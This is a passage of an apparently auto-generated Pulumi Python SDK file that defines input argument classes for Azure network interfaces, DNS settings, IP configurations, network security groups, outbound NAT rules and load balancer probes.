ip_configurations: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]] = None,
location: Optional[pulumi.Input[str]] = None,
mac_address: Optional[pulumi.Input[str]] = None,
network_security_group: Optional[pulumi.Input['NetworkSecurityGroupArgs']] = None,
primary: Optional[pulumi.Input[bool]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
resource_guid: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
virtual_machine: Optional[pulumi.Input['SubResourceArgs']] = None):
"""
A NetworkInterface in a resource group
:param pulumi.Input['NetworkInterfaceDnsSettingsArgs'] dns_settings: Gets or sets DNS Settings in NetworkInterface
:param pulumi.Input[bool] enable_ip_forwarding: Gets or sets whether IPForwarding is enabled on the NIC
:param pulumi.Input[str] etag: Gets a unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]] ip_configurations: Gets or sets list of IPConfigurations of the NetworkInterface
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[str] mac_address: Gets the MAC Address of the network interface
:param pulumi.Input['NetworkSecurityGroupArgs'] network_security_group: Gets or sets the reference of the NetworkSecurityGroup resource
:param pulumi.Input[bool] primary: Gets whether this is a primary NIC on a virtual machine
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input[str] resource_guid: Gets or sets resource GUID property of the network interface resource
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
:param pulumi.Input['SubResourceArgs'] virtual_machine: Gets or sets the reference of a VirtualMachine
"""
if dns_settings is not None:
pulumi.set(__self__, "dns_settings", dns_settings)
if enable_ip_forwarding is not None:
pulumi.set(__self__, "enable_ip_forwarding", enable_ip_forwarding)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if ip_configurations is not None:
pulumi.set(__self__, "ip_configurations", ip_configurations)
if location is not None:
pulumi.set(__self__, "location", location)
if mac_address is not None:
pulumi.set(__self__, "mac_address", mac_address)
if network_security_group is not None:
pulumi.set(__self__, "network_security_group", network_security_group)
if primary is not None:
pulumi.set(__self__, "primary", primary)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if resource_guid is not None:
pulumi.set(__self__, "resource_guid", resource_guid)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if virtual_machine is not None:
pulumi.set(__self__, "virtual_machine", virtual_machine)
@property
@pulumi.getter(name="dnsSettings")
def dns_settings(self) -> Optional[pulumi.Input['NetworkInterfaceDnsSettingsArgs']]:
"""
Gets or sets DNS Settings in NetworkInterface
"""
return pulumi.get(self, "dns_settings")
@dns_settings.setter
def dns_settings(self, value: Optional[pulumi.Input['NetworkInterfaceDnsSettingsArgs']]):
pulumi.set(self, "dns_settings", value)
@property
@pulumi.getter(name="enableIPForwarding")
def enable_ip_forwarding(self) -> Optional[pulumi.Input[bool]]:
"""
Gets or sets whether IPForwarding is enabled on the NIC
"""
return pulumi.get(self, "enable_ip_forwarding")
@enable_ip_forwarding.setter
def enable_ip_forwarding(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_ip_forwarding", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="ipConfigurations")
def ip_configurations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]]:
"""
Gets or sets list of IPConfigurations of the NetworkInterface
"""
return pulumi.get(self, "ip_configurations")
@ip_configurations.setter
def ip_configurations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]]):
pulumi.set(self, "ip_configurations", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="macAddress")
def mac_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets the MAC Address of the network interface
"""
return pulumi.get(self, "mac_address")
@mac_address.setter
def mac_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "mac_address", value)
@property
@pulumi.getter(name="networkSecurityGroup")
def network_security_group(self) -> Optional[pulumi.Input['NetworkSecurityGroupArgs']]:
"""
Gets or sets the reference of the NetworkSecurityGroup resource
"""
return pulumi.get(self, "network_security_group")
@network_security_group.setter
def network_security_group(self, value: Optional[pulumi.Input['NetworkSecurityGroupArgs']]):
pulumi.set(self, "network_security_group", value)
@property
@pulumi.getter
def primary(self) -> Optional[pulumi.Input[bool]]:
"""
Gets whether this is a primary NIC on a virtual machine
"""
return pulumi.get(self, "primary")
@primary.setter
def primary(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "primary", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets resource GUID property of the network interface resource
"""
return pulumi.get(self, "resource_guid")
@resource_guid.setter
def resource_guid(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_guid", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="virtualMachine")
def virtual_machine(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of a VirtualMachine
"""
return pulumi.get(self, "virtual_machine")
@virtual_machine.setter
def virtual_machine(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "virtual_machine", value)
@pulumi.input_type
class NetworkInterfaceDnsSettingsArgs:
def __init__(__self__, *,
applied_dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
internal_dns_name_label: Optional[pulumi.Input[str]] = None,
internal_domain_name_suffix: Optional[pulumi.Input[str]] = None,
internal_fqdn: Optional[pulumi.Input[str]] = None):
"""
Dns Settings of a network interface
:param pulumi.Input[Sequence[pulumi.Input[str]]] applied_dns_servers: Gets or sets list of Applied DNS servers IP addresses
:param pulumi.Input[Sequence[pulumi.Input[str]]] dns_servers: Gets or sets list of DNS servers IP addresses
:param pulumi.Input[str] internal_dns_name_label: Gets or sets the Internal DNS name
:param pulumi.Input[str] internal_domain_name_suffix: Gets or sets internal domain name suffix of the NIC.
:param pulumi.Input[str] internal_fqdn: Gets or sets the internal FQDN.
"""
if applied_dns_servers is not None:
pulumi.set(__self__, "applied_dns_servers", applied_dns_servers)
if dns_servers is not None:
pulumi.set(__self__, "dns_servers", dns_servers)
if internal_dns_name_label is not None:
pulumi.set(__self__, "internal_dns_name_label", internal_dns_name_label)
if internal_domain_name_suffix is not None:
pulumi.set(__self__, "internal_domain_name_suffix", internal_domain_name_suffix)
if internal_fqdn is not None:
pulumi.set(__self__, "internal_fqdn", internal_fqdn)
@property
@pulumi.getter(name="appliedDnsServers")
def applied_dns_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Gets or sets list of Applied DNS servers IP addresses
"""
return pulumi.get(self, "applied_dns_servers")
@applied_dns_servers.setter
def applied_dns_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "applied_dns_servers", value)
@property
@pulumi.getter(name="dnsServers")
def dns_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Gets or sets list of DNS servers IP addresses
"""
return pulumi.get(self, "dns_servers")
@dns_servers.setter
def dns_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "dns_servers", value)
@property
@pulumi.getter(name="internalDnsNameLabel")
def internal_dns_name_label(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the Internal DNS name
"""
return pulumi.get(self, "internal_dns_name_label")
@internal_dns_name_label.setter
def internal_dns_name_label(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internal_dns_name_label", value)
@property
@pulumi.getter(name="internalDomainNameSuffix")
def internal_domain_name_suffix(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets internal domain name suffix of the NIC.
"""
return pulumi.get(self, "internal_domain_name_suffix")
@internal_domain_name_suffix.setter
def internal_domain_name_suffix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internal_domain_name_suffix", value)
@property
@pulumi.getter(name="internalFqdn")
def internal_fqdn(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the internal FQDN.
"""
return pulumi.get(self, "internal_fqdn")
@internal_fqdn.setter
def internal_fqdn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internal_fqdn", value)
@pulumi.input_type
class NetworkInterfaceIPConfigurationArgs:
def __init__(__self__, *,
application_gateway_backend_address_pools: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressPoolArgs']]]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
load_balancer_backend_address_pools: Optional[pulumi.Input[Sequence[pulumi.Input['BackendAddressPoolArgs']]]] = None,
load_balancer_inbound_nat_rules: Optional[pulumi.Input[Sequence[pulumi.Input['InboundNatRuleArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
primary: Optional[pulumi.Input[bool]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
private_ip_address_version: Optional[pulumi.Input[Union[str, 'IPVersion']]] = None,
private_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_address: Optional[pulumi.Input['PublicIPAddressArgs']] = None,
subnet: Optional[pulumi.Input['SubnetArgs']] = None):
"""
IPConfiguration in a NetworkInterface
:param pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressPoolArgs']]] application_gateway_backend_address_pools: Gets or sets the reference of ApplicationGatewayBackendAddressPool resource
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[Sequence[pulumi.Input['BackendAddressPoolArgs']]] load_balancer_backend_address_pools: Gets or sets the reference of LoadBalancerBackendAddressPool resource
:param pulumi.Input[Sequence[pulumi.Input['InboundNatRuleArgs']]] load_balancer_inbound_nat_rules: Gets or sets list of references of LoadBalancerInboundNatRules
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[bool] primary: Gets whether this is a primary customer address on the NIC
:param pulumi.Input[Union[str, 'IPVersion']] private_ip_address_version: Gets or sets PrivateIP address version (IPv4/IPv6)
:param pulumi.Input[Union[str, 'IPAllocationMethod']] private_ip_allocation_method: Gets or sets PrivateIP allocation method (Static/Dynamic)
:param pulumi.Input['PublicIPAddressArgs'] public_ip_address: PublicIPAddress resource
:param pulumi.Input['SubnetArgs'] subnet: Subnet in a VirtualNetwork resource
"""
if application_gateway_backend_address_pools is not None:
pulumi.set(__self__, "application_gateway_backend_address_pools", application_gateway_backend_address_pools)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if load_balancer_backend_address_pools is not None:
pulumi.set(__self__, "load_balancer_backend_address_pools", load_balancer_backend_address_pools)
if load_balancer_inbound_nat_rules is not None:
pulumi.set(__self__, "load_balancer_inbound_nat_rules", load_balancer_inbound_nat_rules)
if name is not None:
pulumi.set(__self__, "name", name)
if primary is not None:
pulumi.set(__self__, "primary", primary)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if private_ip_address_version is not None:
pulumi.set(__self__, "private_ip_address_version", private_ip_address_version)
if private_ip_allocation_method is not None:
pulumi.set(__self__, "private_ip_allocation_method", private_ip_allocation_method)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_ip_address is not None:
pulumi.set(__self__, "public_ip_address", public_ip_address)
if subnet is not None:
pulumi.set(__self__, "subnet", subnet)
@property
@pulumi.getter(name="applicationGatewayBackendAddressPools")
def application_gateway_backend_address_pools(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressPoolArgs']]]]:
"""
Gets or sets the reference of ApplicationGatewayBackendAddressPool resource
"""
return pulumi.get(self, "application_gateway_backend_address_pools")
@application_gateway_backend_address_pools.setter
def application_gateway_backend_address_pools(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressPoolArgs']]]]):
pulumi.set(self, "application_gateway_backend_address_pools", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="loadBalancerBackendAddressPools")
def load_balancer_backend_address_pools(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['BackendAddressPoolArgs']]]]:
"""
Gets or sets the reference of LoadBalancerBackendAddressPool resource
"""
return pulumi.get(self, "load_balancer_backend_address_pools")
@load_balancer_backend_address_pools.setter
def load_balancer_backend_address_pools(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['BackendAddressPoolArgs']]]]):
pulumi.set(self, "load_balancer_backend_address_pools", value)
@property
@pulumi.getter(name="loadBalancerInboundNatRules")
def load_balancer_inbound_nat_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['InboundNatRuleArgs']]]]:
"""
Gets or sets list of references of LoadBalancerInboundNatRules
"""
return pulumi.get(self, "load_balancer_inbound_nat_rules")
@load_balancer_inbound_nat_rules.setter
def load_balancer_inbound_nat_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['InboundNatRuleArgs']]]]):
pulumi.set(self, "load_balancer_inbound_nat_rules", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def primary(self) -> Optional[pulumi.Input[bool]]:
"""
Gets whether this is a primary customer address on the NIC
"""
return pulumi.get(self, "primary")
@primary.setter
def primary(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "primary", value)
@property
@pulumi.getter(name="privateIPAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="privateIPAddressVersion")
def private_ip_address_version(self) -> Optional[pulumi.Input[Union[str, 'IPVersion']]]:
"""
Gets or sets PrivateIP address version (IPv4/IPv6)
"""
return pulumi.get(self, "private_ip_address_version")
@private_ip_address_version.setter
def private_ip_address_version(self, value: Optional[pulumi.Input[Union[str, 'IPVersion']]]):
pulumi.set(self, "private_ip_address_version", value)
@property
@pulumi.getter(name="privateIPAllocationMethod")
def private_ip_allocation_method(self) -> Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]:
"""
Gets or sets PrivateIP allocation method (Static/Dynamic)
"""
return pulumi.get(self, "private_ip_allocation_method")
@private_ip_allocation_method.setter
def private_ip_allocation_method(self, value: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]):
pulumi.set(self, "private_ip_allocation_method", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicIPAddress")
def public_ip_address(self) -> Optional[pulumi.Input['PublicIPAddressArgs']]:
"""
PublicIPAddress resource
"""
return pulumi.get(self, "public_ip_address")
@public_ip_address.setter
def public_ip_address(self, value: Optional[pulumi.Input['PublicIPAddressArgs']]):
pulumi.set(self, "public_ip_address", value)
@property
@pulumi.getter
def subnet(self) -> Optional[pulumi.Input['SubnetArgs']]:
"""
Subnet in a VirtualNetwork resource
"""
return pulumi.get(self, "subnet")
@subnet.setter
def subnet(self, value: Optional[pulumi.Input['SubnetArgs']]):
pulumi.set(self, "subnet", value)
@pulumi.input_type
class NetworkSecurityGroupArgs:
def __init__(__self__, *,
default_security_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
network_interfaces: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceArgs']]]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
resource_guid: Optional[pulumi.Input[str]] = None,
security_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]] = None,
subnets: Optional[pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
NetworkSecurityGroup resource
:param pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]] default_security_rules: Gets or sets Default security rules of network security group
:param pulumi.Input[str] etag: Gets a unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceArgs']]] network_interfaces: Gets collection of references to Network Interfaces
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input[str] resource_guid: Gets or sets resource GUID property of the network security group resource
:param pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]] security_rules: Gets or sets Security rules of network security group
:param pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]] subnets: Gets collection of references to subnets
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
"""
if default_security_rules is not None:
pulumi.set(__self__, "default_security_rules", default_security_rules)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if location is not None:
pulumi.set(__self__, "location", location)
if network_interfaces is not None:
pulumi.set(__self__, "network_interfaces", network_interfaces)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if resource_guid is not None:
pulumi.set(__self__, "resource_guid", resource_guid)
if security_rules is not None:
pulumi.set(__self__, "security_rules", security_rules)
if subnets is not None:
pulumi.set(__self__, "subnets", subnets)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="defaultSecurityRules")
def default_security_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]]:
"""
Gets or sets Default security rules of network security group
"""
return pulumi.get(self, "default_security_rules")
@default_security_rules.setter
def default_security_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]]):
pulumi.set(self, "default_security_rules", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="networkInterfaces")
def network_interfaces(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceArgs']]]]:
"""
Gets collection of references to Network Interfaces
"""
return pulumi.get(self, "network_interfaces")
@network_interfaces.setter
def network_interfaces(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceArgs']]]]):
pulumi.set(self, "network_interfaces", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets resource GUID property of the network security group resource
"""
return pulumi.get(self, "resource_guid")
@resource_guid.setter
def resource_guid(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_guid", value)
@property
@pulumi.getter(name="securityRules")
def security_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]]:
"""
Gets or sets Security rules of network security group
"""
return pulumi.get(self, "security_rules")
@security_rules.setter
def security_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]]):
pulumi.set(self, "security_rules", value)
@property
@pulumi.getter
def subnets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]]]:
"""
Gets collection of references to subnets
"""
return pulumi.get(self, "subnets")
@subnets.setter
def subnets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]]]):
pulumi.set(self, "subnets", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class OutboundNatRuleArgs:
def __init__(__self__, *,
backend_address_pool: pulumi.Input['SubResourceArgs'],
allocated_outbound_ports: Optional[pulumi.Input[int]] = None,
etag: Optional[pulumi.Input[str]] = None,
frontend_ip_configurations: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Outbound NAT pool of the loadbalancer
:param pulumi.Input['SubResourceArgs'] backend_address_pool: Gets or sets a reference to a pool of DIPs. Outbound traffic is randomly load balanced across IPs in the backend IPs
:param pulumi.Input[int] allocated_outbound_ports: Gets or sets the number of outbound ports to be used for SNAT
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] frontend_ip_configurations: Gets or sets Frontend IP addresses of the load balancer
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
pulumi.set(__self__, "backend_address_pool", backend_address_pool)
if allocated_outbound_ports is not None:
pulumi.set(__self__, "allocated_outbound_ports", allocated_outbound_ports)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if frontend_ip_configurations is not None:
pulumi.set(__self__, "frontend_ip_configurations", frontend_ip_configurations)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="backendAddressPool")
def backend_address_pool(self) -> pulumi.Input['SubResourceArgs']:
"""
Gets or sets a reference to a pool of DIPs. Outbound traffic is randomly load balanced across IPs in the backend IPs
"""
return pulumi.get(self, "backend_address_pool")
@backend_address_pool.setter
def backend_address_pool(self, value: pulumi.Input['SubResourceArgs']):
pulumi.set(self, "backend_address_pool", value)
@property
@pulumi.getter(name="allocatedOutboundPorts")
def allocated_outbound_ports(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the number of outbound ports to be used for SNAT
"""
return pulumi.get(self, "allocated_outbound_ports")
@allocated_outbound_ports.setter
def allocated_outbound_ports(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "allocated_outbound_ports", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="frontendIPConfigurations")
def frontend_ip_configurations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Gets or sets Frontend IP addresses of the load balancer
"""
return pulumi.get(self, "frontend_ip_configurations")
@frontend_ip_configurations.setter
def frontend_ip_configurations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "frontend_ip_configurations", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class ProbeArgs:
def __init__(__self__, *,
port: pulumi.Input[int],
protocol: pulumi.Input[Union[str, 'ProbeProtocol']],
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
interval_in_seconds: Optional[pulumi.Input[int]] = None,
load_balancing_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
number_of_probes: Optional[pulumi.Input[int]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
request_path: Optional[pulumi.Input[str]] = None):
"""
Load balancer Probe
:param pulumi.Input[int] port: Gets or sets Port for communicating the probe. Possible values range from 1 to 65535, inclusive.
:param pulumi.Input[Union[str, 'ProbeProtocol']] protocol: Gets or sets the protocol of the end point. Possible values are http pr Tcp. If Tcp is specified, a received ACK is required for the probe to be successful. If http is specified,a 200 OK response from the specifies URI is required for the probe to be successful
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[int] interval_in_seconds: Gets or sets the interval, in seconds, for how frequently to probe the endpoint for health status. Typically, the interval is slightly less than half the allocated timeout period (in seconds) which allows two full probes before taking the instance out of rotation. The default value is 15, the minimum value is 5
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] load_balancing_rules: Gets Load balancer rules that use this probe
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[int] number_of_probes: Gets or sets the number of probes where if no response, will result in stopping further traffic from being delivered to the endpoint. This values allows endpoints to be taken out of rotation faster or slower than the typical times used in Azure.
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input[str] request_path: Gets or sets the URI used for requesting health status from the VM. Path is required if a protocol is set to http. Otherwise, it is not allowed. There is no default value
"""
pulumi.set(__self__, "port", port)
pulumi.set(__self__, "protocol", protocol)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if interval_in_seconds is not None:
pulumi.set(__self__, "interval_in_seconds", interval_in_seconds)
if load_balancing_rules is not None:
pulumi.set(__self__, "load_balancing_rules", load_balancing_rules)
if name is not None:
pulumi.set(__self__, "name", name)
if number_of_probes is not None:
pulumi.set(__self__, "number_of_probes", number_of_probes)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if request_path is not None:
pulumi.set(__self__, "request_path", request_path)
@property
@pulumi.getter
def port(self) -> pulumi.Input[int]:
"""
Gets or sets Port for communicating the probe. Possible values range from 1 to 65535, inclusive.
"""
return pulumi.get(self, "port")
@port.setter
def port(self, value: pulumi.Input[int]):
pulumi.set(self, "port", value)
@property
@pulumi.getter
